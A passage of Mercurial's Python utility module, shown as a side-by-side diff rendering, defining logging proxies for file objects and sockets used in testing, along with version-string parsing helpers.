507 orig = object.__getattribute__(self, '_orig')
507 res = getattr(orig, name)(*args, **kwargs)
508 res = getattr(orig, name)(*args, **kwargs)
508
509
509 # Call a method on the observer of the same name with arguments
510 # Call a method on the observer of the same name with arguments
510 # so it can react, log, etc.
511 # so it can react, log, etc.
511 observer = object.__getattribute__(self, '_observer')
512 observer = object.__getattribute__(self, '_observer')
512 fn = getattr(observer, name, None)
513 fn = getattr(observer, name, None)
513 if fn:
514 if fn:
514 fn(res, *args, **kwargs)
515 fn(res, *args, **kwargs)
515
516
516 return res
517 return res
517
518
518 def close(self, *args, **kwargs):
519 def close(self, *args, **kwargs):
519 return object.__getattribute__(self, '_observedcall')(
520 return object.__getattribute__(self, '_observedcall')(
520 'close', *args, **kwargs
521 'close', *args, **kwargs
521 )
522 )
522
523
523 def fileno(self, *args, **kwargs):
524 def fileno(self, *args, **kwargs):
524 return object.__getattribute__(self, '_observedcall')(
525 return object.__getattribute__(self, '_observedcall')(
525 'fileno', *args, **kwargs
526 'fileno', *args, **kwargs
526 )
527 )
527
528
528 def flush(self, *args, **kwargs):
529 def flush(self, *args, **kwargs):
529 return object.__getattribute__(self, '_observedcall')(
530 return object.__getattribute__(self, '_observedcall')(
530 'flush', *args, **kwargs
531 'flush', *args, **kwargs
531 )
532 )
532
533
533 def isatty(self, *args, **kwargs):
534 def isatty(self, *args, **kwargs):
534 return object.__getattribute__(self, '_observedcall')(
535 return object.__getattribute__(self, '_observedcall')(
535 'isatty', *args, **kwargs
536 'isatty', *args, **kwargs
536 )
537 )
537
538
538 def readable(self, *args, **kwargs):
539 def readable(self, *args, **kwargs):
539 return object.__getattribute__(self, '_observedcall')(
540 return object.__getattribute__(self, '_observedcall')(
540 'readable', *args, **kwargs
541 'readable', *args, **kwargs
541 )
542 )
542
543
543 def readline(self, *args, **kwargs):
544 def readline(self, *args, **kwargs):
544 return object.__getattribute__(self, '_observedcall')(
545 return object.__getattribute__(self, '_observedcall')(
545 'readline', *args, **kwargs
546 'readline', *args, **kwargs
546 )
547 )
547
548
548 def readlines(self, *args, **kwargs):
549 def readlines(self, *args, **kwargs):
549 return object.__getattribute__(self, '_observedcall')(
550 return object.__getattribute__(self, '_observedcall')(
550 'readlines', *args, **kwargs
551 'readlines', *args, **kwargs
551 )
552 )
552
553
553 def seek(self, *args, **kwargs):
554 def seek(self, *args, **kwargs):
554 return object.__getattribute__(self, '_observedcall')(
555 return object.__getattribute__(self, '_observedcall')(
555 'seek', *args, **kwargs
556 'seek', *args, **kwargs
556 )
557 )
557
558
558 def seekable(self, *args, **kwargs):
559 def seekable(self, *args, **kwargs):
559 return object.__getattribute__(self, '_observedcall')(
560 return object.__getattribute__(self, '_observedcall')(
560 'seekable', *args, **kwargs
561 'seekable', *args, **kwargs
561 )
562 )
562
563
563 def tell(self, *args, **kwargs):
564 def tell(self, *args, **kwargs):
564 return object.__getattribute__(self, '_observedcall')(
565 return object.__getattribute__(self, '_observedcall')(
565 'tell', *args, **kwargs
566 'tell', *args, **kwargs
566 )
567 )
567
568
568 def truncate(self, *args, **kwargs):
569 def truncate(self, *args, **kwargs):
569 return object.__getattribute__(self, '_observedcall')(
570 return object.__getattribute__(self, '_observedcall')(
570 'truncate', *args, **kwargs
571 'truncate', *args, **kwargs
571 )
572 )
572
573
573 def writable(self, *args, **kwargs):
574 def writable(self, *args, **kwargs):
574 return object.__getattribute__(self, '_observedcall')(
575 return object.__getattribute__(self, '_observedcall')(
575 'writable', *args, **kwargs
576 'writable', *args, **kwargs
576 )
577 )
577
578
578 def writelines(self, *args, **kwargs):
579 def writelines(self, *args, **kwargs):
579 return object.__getattribute__(self, '_observedcall')(
580 return object.__getattribute__(self, '_observedcall')(
580 'writelines', *args, **kwargs
581 'writelines', *args, **kwargs
581 )
582 )
582
583
583 def read(self, *args, **kwargs):
584 def read(self, *args, **kwargs):
584 return object.__getattribute__(self, '_observedcall')(
585 return object.__getattribute__(self, '_observedcall')(
585 'read', *args, **kwargs
586 'read', *args, **kwargs
586 )
587 )
587
588
588 def readall(self, *args, **kwargs):
589 def readall(self, *args, **kwargs):
589 return object.__getattribute__(self, '_observedcall')(
590 return object.__getattribute__(self, '_observedcall')(
590 'readall', *args, **kwargs
591 'readall', *args, **kwargs
591 )
592 )
592
593
593 def readinto(self, *args, **kwargs):
594 def readinto(self, *args, **kwargs):
594 return object.__getattribute__(self, '_observedcall')(
595 return object.__getattribute__(self, '_observedcall')(
595 'readinto', *args, **kwargs
596 'readinto', *args, **kwargs
596 )
597 )
597
598
598 def write(self, *args, **kwargs):
599 def write(self, *args, **kwargs):
599 return object.__getattribute__(self, '_observedcall')(
600 return object.__getattribute__(self, '_observedcall')(
600 'write', *args, **kwargs
601 'write', *args, **kwargs
601 )
602 )
602
603
603 def detach(self, *args, **kwargs):
604 def detach(self, *args, **kwargs):
604 return object.__getattribute__(self, '_observedcall')(
605 return object.__getattribute__(self, '_observedcall')(
605 'detach', *args, **kwargs
606 'detach', *args, **kwargs
606 )
607 )
607
608
608 def read1(self, *args, **kwargs):
609 def read1(self, *args, **kwargs):
609 return object.__getattribute__(self, '_observedcall')(
610 return object.__getattribute__(self, '_observedcall')(
610 'read1', *args, **kwargs
611 'read1', *args, **kwargs
611 )
612 )
612
613
613
614
614 class observedbufferedinputpipe(bufferedinputpipe):
615 class observedbufferedinputpipe(bufferedinputpipe):
615 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
616 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
616
617
617 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
618 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
618 bypass ``fileobjectproxy``. Because of this, we need to make
619 bypass ``fileobjectproxy``. Because of this, we need to make
619 ``bufferedinputpipe`` aware of these operations.
620 ``bufferedinputpipe`` aware of these operations.
620
621
621 This variation of ``bufferedinputpipe`` can notify observers about
622 This variation of ``bufferedinputpipe`` can notify observers about
622 ``os.read()`` events. It also re-publishes other events, such as
623 ``os.read()`` events. It also re-publishes other events, such as
623 ``read()`` and ``readline()``.
624 ``read()`` and ``readline()``.
624 """
625 """
625
626
626 def _fillbuffer(self):
627 def _fillbuffer(self):
627 res = super(observedbufferedinputpipe, self)._fillbuffer()
628 res = super(observedbufferedinputpipe, self)._fillbuffer()
628
629
629 fn = getattr(self._input._observer, 'osread', None)
630 fn = getattr(self._input._observer, 'osread', None)
630 if fn:
631 if fn:
631 fn(res, _chunksize)
632 fn(res, _chunksize)
632
633
633 return res
634 return res
634
635
635 # We use different observer methods because the operation isn't
636 # We use different observer methods because the operation isn't
636 # performed on the actual file object but on us.
637 # performed on the actual file object but on us.
637 def read(self, size):
638 def read(self, size):
638 res = super(observedbufferedinputpipe, self).read(size)
639 res = super(observedbufferedinputpipe, self).read(size)
639
640
640 fn = getattr(self._input._observer, 'bufferedread', None)
641 fn = getattr(self._input._observer, 'bufferedread', None)
641 if fn:
642 if fn:
642 fn(res, size)
643 fn(res, size)
643
644
644 return res
645 return res
645
646
646 def readline(self, *args, **kwargs):
647 def readline(self, *args, **kwargs):
647 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
648 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
648
649
649 fn = getattr(self._input._observer, 'bufferedreadline', None)
650 fn = getattr(self._input._observer, 'bufferedreadline', None)
650 if fn:
651 if fn:
651 fn(res)
652 fn(res)
652
653
653 return res
654 return res
654
655
655
656
656 PROXIED_SOCKET_METHODS = {
657 PROXIED_SOCKET_METHODS = {
657 'makefile',
658 'makefile',
658 'recv',
659 'recv',
659 'recvfrom',
660 'recvfrom',
660 'recvfrom_into',
661 'recvfrom_into',
661 'recv_into',
662 'recv_into',
662 'send',
663 'send',
663 'sendall',
664 'sendall',
664 'sendto',
665 'sendto',
665 'setblocking',
666 'setblocking',
666 'settimeout',
667 'settimeout',
667 'gettimeout',
668 'gettimeout',
668 'setsockopt',
669 'setsockopt',
669 }
670 }
670
671
671
672
672 class socketproxy(object):
673 class socketproxy(object):
673 """A proxy around a socket that tells a watcher when events occur.
674 """A proxy around a socket that tells a watcher when events occur.
674
675
675 This is like ``fileobjectproxy`` except for sockets.
676 This is like ``fileobjectproxy`` except for sockets.
676
677
677 This type is intended to only be used for testing purposes. Think hard
678 This type is intended to only be used for testing purposes. Think hard
678 before using it in important code.
679 before using it in important code.
679 """
680 """
680
681
681 __slots__ = (
682 __slots__ = (
682 '_orig',
683 '_orig',
683 '_observer',
684 '_observer',
684 )
685 )
685
686
686 def __init__(self, sock, observer):
687 def __init__(self, sock, observer):
687 object.__setattr__(self, '_orig', sock)
688 object.__setattr__(self, '_orig', sock)
688 object.__setattr__(self, '_observer', observer)
689 object.__setattr__(self, '_observer', observer)
689
690
690 def __getattribute__(self, name):
691 def __getattribute__(self, name):
691 if name in PROXIED_SOCKET_METHODS:
692 if name in PROXIED_SOCKET_METHODS:
692 return object.__getattribute__(self, name)
693 return object.__getattribute__(self, name)
693
694
694 return getattr(object.__getattribute__(self, '_orig'), name)
695 return getattr(object.__getattribute__(self, '_orig'), name)
695
696
696 def __delattr__(self, name):
697 def __delattr__(self, name):
697 return delattr(object.__getattribute__(self, '_orig'), name)
698 return delattr(object.__getattribute__(self, '_orig'), name)
698
699
699 def __setattr__(self, name, value):
700 def __setattr__(self, name, value):
700 return setattr(object.__getattribute__(self, '_orig'), name, value)
701 return setattr(object.__getattribute__(self, '_orig'), name, value)
701
702
702 def __nonzero__(self):
703 def __nonzero__(self):
703 return bool(object.__getattribute__(self, '_orig'))
704 return bool(object.__getattribute__(self, '_orig'))
704
705
705 __bool__ = __nonzero__
706 __bool__ = __nonzero__
706
707
707 def _observedcall(self, name, *args, **kwargs):
708 def _observedcall(self, name, *args, **kwargs):
708 # Call the original object.
709 # Call the original object.
709 orig = object.__getattribute__(self, '_orig')
710 orig = object.__getattribute__(self, '_orig')
710 res = getattr(orig, name)(*args, **kwargs)
711 res = getattr(orig, name)(*args, **kwargs)
711
712
712 # Call a method on the observer of the same name with arguments
713 # Call a method on the observer of the same name with arguments
713 # so it can react, log, etc.
714 # so it can react, log, etc.
714 observer = object.__getattribute__(self, '_observer')
715 observer = object.__getattribute__(self, '_observer')
715 fn = getattr(observer, name, None)
716 fn = getattr(observer, name, None)
716 if fn:
717 if fn:
717 fn(res, *args, **kwargs)
718 fn(res, *args, **kwargs)
718
719
719 return res
720 return res
720
721
721 def makefile(self, *args, **kwargs):
722 def makefile(self, *args, **kwargs):
722 res = object.__getattribute__(self, '_observedcall')(
723 res = object.__getattribute__(self, '_observedcall')(
723 'makefile', *args, **kwargs
724 'makefile', *args, **kwargs
724 )
725 )
725
726
726 # The file object may be used for I/O. So we turn it into a
727 # The file object may be used for I/O. So we turn it into a
727 # proxy using our observer.
728 # proxy using our observer.
728 observer = object.__getattribute__(self, '_observer')
729 observer = object.__getattribute__(self, '_observer')
729 return makeloggingfileobject(
730 return makeloggingfileobject(
730 observer.fh,
731 observer.fh,
731 res,
732 res,
732 observer.name,
733 observer.name,
733 reads=observer.reads,
734 reads=observer.reads,
734 writes=observer.writes,
735 writes=observer.writes,
735 logdata=observer.logdata,
736 logdata=observer.logdata,
736 logdataapis=observer.logdataapis,
737 logdataapis=observer.logdataapis,
737 )
738 )
738
739
739 def recv(self, *args, **kwargs):
740 def recv(self, *args, **kwargs):
740 return object.__getattribute__(self, '_observedcall')(
741 return object.__getattribute__(self, '_observedcall')(
741 'recv', *args, **kwargs
742 'recv', *args, **kwargs
742 )
743 )
743
744
744 def recvfrom(self, *args, **kwargs):
745 def recvfrom(self, *args, **kwargs):
745 return object.__getattribute__(self, '_observedcall')(
746 return object.__getattribute__(self, '_observedcall')(
746 'recvfrom', *args, **kwargs
747 'recvfrom', *args, **kwargs
747 )
748 )
748
749
749 def recvfrom_into(self, *args, **kwargs):
750 def recvfrom_into(self, *args, **kwargs):
750 return object.__getattribute__(self, '_observedcall')(
751 return object.__getattribute__(self, '_observedcall')(
751 'recvfrom_into', *args, **kwargs
752 'recvfrom_into', *args, **kwargs
752 )
753 )
753
754
754 def recv_into(self, *args, **kwargs):
755 def recv_into(self, *args, **kwargs):
755 return object.__getattribute__(self, '_observedcall')(
756 return object.__getattribute__(self, '_observedcall')(
756 'recv_info', *args, **kwargs
757 'recv_info', *args, **kwargs
757 )
758 )
758
759
759 def send(self, *args, **kwargs):
760 def send(self, *args, **kwargs):
760 return object.__getattribute__(self, '_observedcall')(
761 return object.__getattribute__(self, '_observedcall')(
761 'send', *args, **kwargs
762 'send', *args, **kwargs
762 )
763 )
763
764
764 def sendall(self, *args, **kwargs):
765 def sendall(self, *args, **kwargs):
765 return object.__getattribute__(self, '_observedcall')(
766 return object.__getattribute__(self, '_observedcall')(
766 'sendall', *args, **kwargs
767 'sendall', *args, **kwargs
767 )
768 )
768
769
769 def sendto(self, *args, **kwargs):
770 def sendto(self, *args, **kwargs):
770 return object.__getattribute__(self, '_observedcall')(
771 return object.__getattribute__(self, '_observedcall')(
771 'sendto', *args, **kwargs
772 'sendto', *args, **kwargs
772 )
773 )
773
774
774 def setblocking(self, *args, **kwargs):
775 def setblocking(self, *args, **kwargs):
775 return object.__getattribute__(self, '_observedcall')(
776 return object.__getattribute__(self, '_observedcall')(
776 'setblocking', *args, **kwargs
777 'setblocking', *args, **kwargs
777 )
778 )
778
779
779 def settimeout(self, *args, **kwargs):
780 def settimeout(self, *args, **kwargs):
780 return object.__getattribute__(self, '_observedcall')(
781 return object.__getattribute__(self, '_observedcall')(
781 'settimeout', *args, **kwargs
782 'settimeout', *args, **kwargs
782 )
783 )
783
784
784 def gettimeout(self, *args, **kwargs):
785 def gettimeout(self, *args, **kwargs):
785 return object.__getattribute__(self, '_observedcall')(
786 return object.__getattribute__(self, '_observedcall')(
786 'gettimeout', *args, **kwargs
787 'gettimeout', *args, **kwargs
787 )
788 )
788
789
789 def setsockopt(self, *args, **kwargs):
790 def setsockopt(self, *args, **kwargs):
790 return object.__getattribute__(self, '_observedcall')(
791 return object.__getattribute__(self, '_observedcall')(
791 'setsockopt', *args, **kwargs
792 'setsockopt', *args, **kwargs
792 )
793 )
793
794
794
795
795 class baseproxyobserver(object):
796 class baseproxyobserver(object):
796 def __init__(self, fh, name, logdata, logdataapis):
797 def __init__(self, fh, name, logdata, logdataapis):
797 self.fh = fh
798 self.fh = fh
798 self.name = name
799 self.name = name
799 self.logdata = logdata
800 self.logdata = logdata
800 self.logdataapis = logdataapis
801 self.logdataapis = logdataapis
801
802
802 def _writedata(self, data):
803 def _writedata(self, data):
803 if not self.logdata:
804 if not self.logdata:
804 if self.logdataapis:
805 if self.logdataapis:
805 self.fh.write(b'\n')
806 self.fh.write(b'\n')
806 self.fh.flush()
807 self.fh.flush()
807 return
808 return
808
809
809 # Simple case writes all data on a single line.
810 # Simple case writes all data on a single line.
810 if b'\n' not in data:
811 if b'\n' not in data:
811 if self.logdataapis:
812 if self.logdataapis:
812 self.fh.write(b': %s\n' % stringutil.escapestr(data))
813 self.fh.write(b': %s\n' % stringutil.escapestr(data))
813 else:
814 else:
814 self.fh.write(
815 self.fh.write(
815 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
816 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
816 )
817 )
817 self.fh.flush()
818 self.fh.flush()
818 return
819 return
819
820
820 # Data with newlines is written to multiple lines.
821 # Data with newlines is written to multiple lines.
821 if self.logdataapis:
822 if self.logdataapis:
822 self.fh.write(b':\n')
823 self.fh.write(b':\n')
823
824
824 lines = data.splitlines(True)
825 lines = data.splitlines(True)
825 for line in lines:
826 for line in lines:
826 self.fh.write(
827 self.fh.write(
827 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
828 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
828 )
829 )
829 self.fh.flush()
830 self.fh.flush()
830
831
831
832
832 class fileobjectobserver(baseproxyobserver):
833 class fileobjectobserver(baseproxyobserver):
833 """Logs file object activity."""
834 """Logs file object activity."""
834
835
835 def __init__(
836 def __init__(
836 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
837 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
837 ):
838 ):
838 super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
839 super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
839 self.reads = reads
840 self.reads = reads
840 self.writes = writes
841 self.writes = writes
841
842
842 def read(self, res, size=-1):
843 def read(self, res, size=-1):
843 if not self.reads:
844 if not self.reads:
844 return
845 return
845 # Python 3 can return None from reads at EOF instead of empty strings.
846 # Python 3 can return None from reads at EOF instead of empty strings.
846 if res is None:
847 if res is None:
847 res = b''
848 res = b''
848
849
849 if size == -1 and res == b'':
850 if size == -1 and res == b'':
850 # Suppress pointless read(-1) calls that return
851 # Suppress pointless read(-1) calls that return
851 # nothing. These happen _a lot_ on Python 3, and there
852 # nothing. These happen _a lot_ on Python 3, and there
852 # doesn't seem to be a better workaround to have matching
853 # doesn't seem to be a better workaround to have matching
853 # Python 2 and 3 behavior. :(
854 # Python 2 and 3 behavior. :(
854 return
855 return
855
856
856 if self.logdataapis:
857 if self.logdataapis:
857 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
858 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
858
859
859 self._writedata(res)
860 self._writedata(res)
860
861
861 def readline(self, res, limit=-1):
862 def readline(self, res, limit=-1):
862 if not self.reads:
863 if not self.reads:
863 return
864 return
864
865
865 if self.logdataapis:
866 if self.logdataapis:
866 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
867 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
867
868
868 self._writedata(res)
869 self._writedata(res)
869
870
870 def readinto(self, res, dest):
871 def readinto(self, res, dest):
871 if not self.reads:
872 if not self.reads:
872 return
873 return
873
874
874 if self.logdataapis:
875 if self.logdataapis:
875 self.fh.write(
876 self.fh.write(
876 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
877 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
877 )
878 )
878
879
879 data = dest[0:res] if res is not None else b''
880 data = dest[0:res] if res is not None else b''
880
881
881 # _writedata() uses "in" operator and is confused by memoryview because
882 # _writedata() uses "in" operator and is confused by memoryview because
882 # characters are ints on Python 3.
883 # characters are ints on Python 3.
883 if isinstance(data, memoryview):
884 if isinstance(data, memoryview):
884 data = data.tobytes()
885 data = data.tobytes()
885
886
886 self._writedata(data)
887 self._writedata(data)
887
888
888 def write(self, res, data):
889 def write(self, res, data):
889 if not self.writes:
890 if not self.writes:
890 return
891 return
891
892
892 # Python 2 returns None from some write() calls. Python 3 (reasonably)
893 # Python 2 returns None from some write() calls. Python 3 (reasonably)
893 # returns the integer bytes written.
894 # returns the integer bytes written.
894 if res is None and data:
895 if res is None and data:
895 res = len(data)
896 res = len(data)
896
897
897 if self.logdataapis:
898 if self.logdataapis:
898 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
899 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
899
900
900 self._writedata(data)
901 self._writedata(data)
901
902
902 def flush(self, res):
903 def flush(self, res):
903 if not self.writes:
904 if not self.writes:
904 return
905 return
905
906
906 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
907 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
907
908
908 # For observedbufferedinputpipe.
909 # For observedbufferedinputpipe.
909 def bufferedread(self, res, size):
910 def bufferedread(self, res, size):
910 if not self.reads:
911 if not self.reads:
911 return
912 return
912
913
913 if self.logdataapis:
914 if self.logdataapis:
914 self.fh.write(
915 self.fh.write(
915 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
916 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
916 )
917 )
917
918
918 self._writedata(res)
919 self._writedata(res)
919
920
920 def bufferedreadline(self, res):
921 def bufferedreadline(self, res):
921 if not self.reads:
922 if not self.reads:
922 return
923 return
923
924
924 if self.logdataapis:
925 if self.logdataapis:
925 self.fh.write(
926 self.fh.write(
926 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
927 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
927 )
928 )
928
929
929 self._writedata(res)
930 self._writedata(res)
930
931
931
932
932 def makeloggingfileobject(
933 def makeloggingfileobject(
933 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
934 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
934 ):
935 ):
935 """Turn a file object into a logging file object."""
936 """Turn a file object into a logging file object."""
936
937
937 observer = fileobjectobserver(
938 observer = fileobjectobserver(
938 logh,
939 logh,
939 name,
940 name,
940 reads=reads,
941 reads=reads,
941 writes=writes,
942 writes=writes,
942 logdata=logdata,
943 logdata=logdata,
943 logdataapis=logdataapis,
944 logdataapis=logdataapis,
944 )
945 )
945 return fileobjectproxy(fh, observer)
946 return fileobjectproxy(fh, observer)
946
947
947
948
948 class socketobserver(baseproxyobserver):
949 class socketobserver(baseproxyobserver):
949 """Logs socket activity."""
950 """Logs socket activity."""
950
951
951 def __init__(
952 def __init__(
952 self,
953 self,
953 fh,
954 fh,
954 name,
955 name,
955 reads=True,
956 reads=True,
956 writes=True,
957 writes=True,
957 states=True,
958 states=True,
958 logdata=False,
959 logdata=False,
959 logdataapis=True,
960 logdataapis=True,
960 ):
961 ):
961 super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
962 super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
962 self.reads = reads
963 self.reads = reads
963 self.writes = writes
964 self.writes = writes
964 self.states = states
965 self.states = states
965
966
966 def makefile(self, res, mode=None, bufsize=None):
967 def makefile(self, res, mode=None, bufsize=None):
967 if not self.states:
968 if not self.states:
968 return
969 return
969
970
970 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
971 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
971
972
972 def recv(self, res, size, flags=0):
973 def recv(self, res, size, flags=0):
973 if not self.reads:
974 if not self.reads:
974 return
975 return
975
976
976 if self.logdataapis:
977 if self.logdataapis:
977 self.fh.write(
978 self.fh.write(
978 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
979 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
979 )
980 )
980 self._writedata(res)
981 self._writedata(res)
981
982
982 def recvfrom(self, res, size, flags=0):
983 def recvfrom(self, res, size, flags=0):
983 if not self.reads:
984 if not self.reads:
984 return
985 return
985
986
986 if self.logdataapis:
987 if self.logdataapis:
987 self.fh.write(
988 self.fh.write(
988 b'%s> recvfrom(%d, %d) -> %d'
989 b'%s> recvfrom(%d, %d) -> %d'
989 % (self.name, size, flags, len(res[0]))
990 % (self.name, size, flags, len(res[0]))
990 )
991 )
991
992
992 self._writedata(res[0])
993 self._writedata(res[0])
993
994
994 def recvfrom_into(self, res, buf, size, flags=0):
995 def recvfrom_into(self, res, buf, size, flags=0):
995 if not self.reads:
996 if not self.reads:
996 return
997 return
997
998
998 if self.logdataapis:
999 if self.logdataapis:
999 self.fh.write(
1000 self.fh.write(
1000 b'%s> recvfrom_into(%d, %d) -> %d'
1001 b'%s> recvfrom_into(%d, %d) -> %d'
1001 % (self.name, size, flags, res[0])
1002 % (self.name, size, flags, res[0])
1002 )
1003 )
1003
1004
1004 self._writedata(buf[0 : res[0]])
1005 self._writedata(buf[0 : res[0]])
1005
1006
1006 def recv_into(self, res, buf, size=0, flags=0):
1007 def recv_into(self, res, buf, size=0, flags=0):
1007 if not self.reads:
1008 if not self.reads:
1008 return
1009 return
1009
1010
1010 if self.logdataapis:
1011 if self.logdataapis:
1011 self.fh.write(
1012 self.fh.write(
1012 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1013 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1013 )
1014 )
1014
1015
1015 self._writedata(buf[0:res])
1016 self._writedata(buf[0:res])
1016
1017
1017 def send(self, res, data, flags=0):
1018 def send(self, res, data, flags=0):
1018 if not self.writes:
1019 if not self.writes:
1019 return
1020 return
1020
1021
1021 self.fh.write(
1022 self.fh.write(
1022 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1023 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1023 )
1024 )
1024 self._writedata(data)
1025 self._writedata(data)
1025
1026
1026 def sendall(self, res, data, flags=0):
1027 def sendall(self, res, data, flags=0):
1027 if not self.writes:
1028 if not self.writes:
1028 return
1029 return
1029
1030
1030 if self.logdataapis:
1031 if self.logdataapis:
1031 # Returns None on success. So don't bother reporting return value.
1032 # Returns None on success. So don't bother reporting return value.
1032 self.fh.write(
1033 self.fh.write(
1033 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1034 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1034 )
1035 )
1035
1036
1036 self._writedata(data)
1037 self._writedata(data)
1037
1038
1038 def sendto(self, res, data, flagsoraddress, address=None):
1039 def sendto(self, res, data, flagsoraddress, address=None):
1039 if not self.writes:
1040 if not self.writes:
1040 return
1041 return
1041
1042
1042 if address:
1043 if address:
1043 flags = flagsoraddress
1044 flags = flagsoraddress
1044 else:
1045 else:
1045 flags = 0
1046 flags = 0
1046
1047
1047 if self.logdataapis:
1048 if self.logdataapis:
1048 self.fh.write(
1049 self.fh.write(
1049 b'%s> sendto(%d, %d, %r) -> %d'
1050 b'%s> sendto(%d, %d, %r) -> %d'
1050 % (self.name, len(data), flags, address, res)
1051 % (self.name, len(data), flags, address, res)
1051 )
1052 )
1052
1053
1053 self._writedata(data)
1054 self._writedata(data)
1054
1055
1055 def setblocking(self, res, flag):
1056 def setblocking(self, res, flag):
1056 if not self.states:
1057 if not self.states:
1057 return
1058 return
1058
1059
1059 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1060 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1060
1061
1061 def settimeout(self, res, value):
1062 def settimeout(self, res, value):
1062 if not self.states:
1063 if not self.states:
1063 return
1064 return
1064
1065
1065 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1066 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1066
1067
1067 def gettimeout(self, res):
1068 def gettimeout(self, res):
1068 if not self.states:
1069 if not self.states:
1069 return
1070 return
1070
1071
1071 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1072 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1072
1073
1073 def setsockopt(self, res, level, optname, value):
1074 def setsockopt(self, res, level, optname, value):
1074 if not self.states:
1075 if not self.states:
1075 return
1076 return
1076
1077
1077 self.fh.write(
1078 self.fh.write(
1078 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1079 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1079 % (self.name, level, optname, value, res)
1080 % (self.name, level, optname, value, res)
1080 )
1081 )
1081
1082
1082
1083
1083 def makeloggingsocket(
1084 def makeloggingsocket(
1084 logh,
1085 logh,
1085 fh,
1086 fh,
1086 name,
1087 name,
1087 reads=True,
1088 reads=True,
1088 writes=True,
1089 writes=True,
1089 states=True,
1090 states=True,
1090 logdata=False,
1091 logdata=False,
1091 logdataapis=True,
1092 logdataapis=True,
1092 ):
1093 ):
1093 """Turn a socket into a logging socket."""
1094 """Turn a socket into a logging socket."""
1094
1095
1095 observer = socketobserver(
1096 observer = socketobserver(
1096 logh,
1097 logh,
1097 name,
1098 name,
1098 reads=reads,
1099 reads=reads,
1099 writes=writes,
1100 writes=writes,
1100 states=states,
1101 states=states,
1101 logdata=logdata,
1102 logdata=logdata,
1102 logdataapis=logdataapis,
1103 logdataapis=logdataapis,
1103 )
1104 )
1104 return socketproxy(fh, observer)
1105 return socketproxy(fh, observer)
1105
1106
1106
1107
1107 def version():
1108 def version():
1108 """Return version information if available."""
1109 """Return version information if available."""
1109 try:
1110 try:
1110 from . import __version__
1111 from . import __version__
1111
1112
1112 return __version__.version
1113 return __version__.version
1113 except ImportError:
1114 except ImportError:
1114 return b'unknown'
1115 return b'unknown'
1115
1116
1116
1117
1117 def versiontuple(v=None, n=4):
1118 def versiontuple(v=None, n=4):
1118 """Parses a Mercurial version string into an N-tuple.
1119 """Parses a Mercurial version string into an N-tuple.
1119
1120
1120 The version string to be parsed is specified with the ``v`` argument.
1121 The version string to be parsed is specified with the ``v`` argument.
1121 If it isn't defined, the current Mercurial version string will be parsed.
1122 If it isn't defined, the current Mercurial version string will be parsed.
1122
1123
1123 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1124 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1124 returned values:
1125 returned values:
1125
1126
1126 >>> v = b'3.6.1+190-df9b73d2d444'
1127 >>> v = b'3.6.1+190-df9b73d2d444'
1127 >>> versiontuple(v, 2)
1128 >>> versiontuple(v, 2)
1128 (3, 6)
1129 (3, 6)
1129 >>> versiontuple(v, 3)
1130 >>> versiontuple(v, 3)
1130 (3, 6, 1)
1131 (3, 6, 1)
1131 >>> versiontuple(v, 4)
1132 >>> versiontuple(v, 4)
1132 (3, 6, 1, '190-df9b73d2d444')
1133 (3, 6, 1, '190-df9b73d2d444')
1133
1134
1134 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1135 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1135 (3, 6, 1, '190-df9b73d2d444+20151118')
1136 (3, 6, 1, '190-df9b73d2d444+20151118')
1136
1137
1137 >>> v = b'3.6'
1138 >>> v = b'3.6'
1138 >>> versiontuple(v, 2)
1139 >>> versiontuple(v, 2)
1139 (3, 6)
